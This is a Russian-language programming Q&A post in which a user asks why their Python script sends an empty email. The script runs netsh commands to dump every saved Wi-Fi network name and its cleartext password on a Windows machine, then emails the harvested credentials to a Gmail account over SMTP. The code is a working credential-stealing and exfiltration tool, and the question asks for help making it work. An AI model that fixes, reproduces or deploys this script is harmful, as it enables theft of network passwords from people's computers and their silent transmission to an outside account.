отправлено письмо с питоном пусто - PullRequest
0 голосов
/ 24 декабря 2018

Я делаю программу, которая выполняет команду Windows, показывая сохраненные пароли Wi-Fi в текущей системе и отправляет результат по электронной почте, но каждый раз, когда я запускаю программу, отправляемая е-мейл почта пуста

#!/usr/bin/env python

import subprocess
import smtplib
import re


def get_name(regex, string):
    names_list = re.findall(regex, string)
    return_list = ""
    for name in names_list:
        return_list = return_list + name
    return return_list


def get_password(regex, string):
    password_list = re.findall(regex, string)
    return_list = ""
    for password in password_list:
        return_list = return_list + password
    return return_list


def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        # Crafts and sends email .sendmail(from, to, content)
        server.sendmail(email, email, message)
        server.quit()


command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = ""
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + " key=clear"
    current_result = subprocess.check_output(command, shell=True)
    names_list = get_name("(?:Name\s*:\s)(.*)", current_result)
    #print(names_list)
    password_list = get_password( "(?:Key Content\s.*:\s)(.*)", 
                                   current_result)
    #print(password_list)
    result = result + "Names: " + names_list + " Passwords: " + 
             password_list 

#print(result)
send_mail(email, password, result)

последнийпрокомментировал print() показывает имя и пароль wifi, сохраненные в переменной result, но когда я передаю result в функции send_mail(), полученное письмо становится пустым

edit: при попытке result = result + "Names: " + names_list + password_list в нем не добавляется переменная names_list и отправляется только электронное письмо, содержащее переменную password_list, я хотел бы, чтобы письмо читало Name: names_list password: password_list с именами и паролями в разных строках

...